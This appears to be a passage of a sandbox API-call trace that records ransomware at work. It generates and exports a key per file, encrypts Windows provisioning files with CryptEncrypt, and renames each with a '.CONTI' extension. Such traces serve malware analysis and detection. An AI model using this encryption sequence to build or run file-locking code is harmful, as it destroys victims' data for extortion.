	[0106.760] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0106.760] GetLastError () returned 0x0
	[0106.760] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=7086) returned 1
	[0106.760] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1bae
	[0106.760] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.760] SetEndOfFile (hFile=0x374) returned 1
	[0106.761] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.761] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.761] WriteFile (in: hFile=0x374, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.763] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.763] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x1bae, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x1bae, lpOverlapped=0x0) returned 1
	[0106.764] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1bae, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1bb0) returned 1
	[0106.764] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.764] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x1bb0, lpOverlapped=0x0) returned 1
	[0106.764] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.764] WriteFile (in: hFile=0x374, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0106.764] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.764] CloseHandle (hObject=0x374) returned 1
	[0106.764] GetProcessHeap () returned 0x1720000
	[0106.764] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.764] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.764] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI"
	[0106.764] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml.conti")) returned 1
	[0106.765] GetProcessHeap () returned 0x1720000
	[0106.765] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.765] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0106.765] GetProcessHeap () returned 0x1720000
	[0106.765] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e6b8 | out: hHeap=0x1720000) returned 1
	[0106.765] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0106.765] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x17c7eb0) returned 1
	[0106.765] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x4bffe94 | out: pbData=0x17c5c6c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0106.766] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml")) returned 0x20
	[0106.766] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0106.766] GetLastError () returned 0x0
	[0106.766] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=460) returned 1
	[0106.766] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cc
	[0106.766] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.766] SetEndOfFile (hFile=0x374) returned 1
	[0106.767] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.767] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.767] WriteFile (in: hFile=0x374, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.769] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.769] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x1cc, lpOverlapped=0x0) returned 1
	[0106.769] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1cc, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1d0) returned 1
	[0106.769] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.769] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x1d0, lpOverlapped=0x0) returned 1
	[0106.769] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.769] WriteFile (in: hFile=0x374, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0106.769] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.769] CloseHandle (hObject=0x374) returned 1
	[0106.769] GetProcessHeap () returned 0x1720000
	[0106.769] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.769] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml"
	[0106.770] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.CONTI"
	[0106.770] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml.conti")) returned 1
	[0106.770] GetProcessHeap () returned 0x1720000
	[0106.770] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.770] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0106.770] GetProcessHeap () returned 0x1720000
	[0106.770] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510780 | out: hHeap=0x1720000) returned 1
	[0106.770] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0106.770] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c4eb8 | out: phKey=0x17c4eb8*=0x17c81b0) returned 1
	[0106.770] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4ebc, pdwDataLen=0x4bffe94 | out: pbData=0x17c4ebc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0106.771] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml")) returned 0x20
	[0106.771] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0106.771] GetLastError () returned 0x0
	[0106.771] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=2138) returned 1
	[0106.771] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x85a
	[0106.771] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.771] SetEndOfFile (hFile=0x374) returned 1
	[0106.772] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.772] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.772] WriteFile (in: hFile=0x374, lpBuffer=0x17c4ebc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c4ebc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.774] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.774] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x85a, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x85a, lpOverlapped=0x0) returned 1
	[0106.774] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x85a, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x860) returned 1
	[0106.774] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.774] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x860, lpOverlapped=0x0) returned 1
	[0106.774] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.774] WriteFile (in: hFile=0x374, lpBuffer=0x17c4eb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c4eb0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0106.774] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.774] CloseHandle (hObject=0x374) returned 1
	[0106.774] GetProcessHeap () returned 0x1720000
	[0106.774] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.774] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"
	[0106.774] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.CONTI"
	[0106.774] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.conti")) returned 1
	[0106.775] GetProcessHeap () returned 0x1720000
	[0106.775] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.775] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0106.775] GetProcessHeap () returned 0x1720000
	[0106.775] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510cf8 | out: hHeap=0x1720000) returned 1
	[0106.775] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0106.775] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x17c8230) returned 1
	[0106.775] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x4bffe94 | out: pbData=0x17c4c74*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0106.776] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml")) returned 0x20
	[0106.776] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0106.776] GetLastError () returned 0x0
	[0106.776] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=271) returned 1
	[0106.776] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0106.776] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.776] SetEndOfFile (hFile=0x374) returned 1
	[0106.777] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.777] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.777] WriteFile (in: hFile=0x374, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.779] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.779] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x10f, lpOverlapped=0x0) returned 1
	[0106.779] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x10f, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x110) returned 1
	[0106.779] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.779] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x110, lpOverlapped=0x0) returned 1
	[0106.779] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.779] WriteFile (in: hFile=0x374, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0106.779] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.779] CloseHandle (hObject=0x374) returned 1
	[0106.779] GetProcessHeap () returned 0x1720000
	[0106.779] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.779] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml"
	[0106.779] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.CONTI"
	[0106.779] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml.conti")) returned 1
	[0106.780] GetProcessHeap () returned 0x1720000
	[0106.780] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.780] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0106.780] GetProcessHeap () returned 0x1720000
	[0106.780] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d098 | out: hHeap=0x1720000) returned 1
	[0106.780] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0106.780] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c5100 | out: phKey=0x17c5100*=0x17c7ff0) returned 1
	[0106.780] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5104, pdwDataLen=0x4bffe94 | out: pbData=0x17c5104*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0106.781] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0106.781] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0106.781] GetLastError () returned 0x0
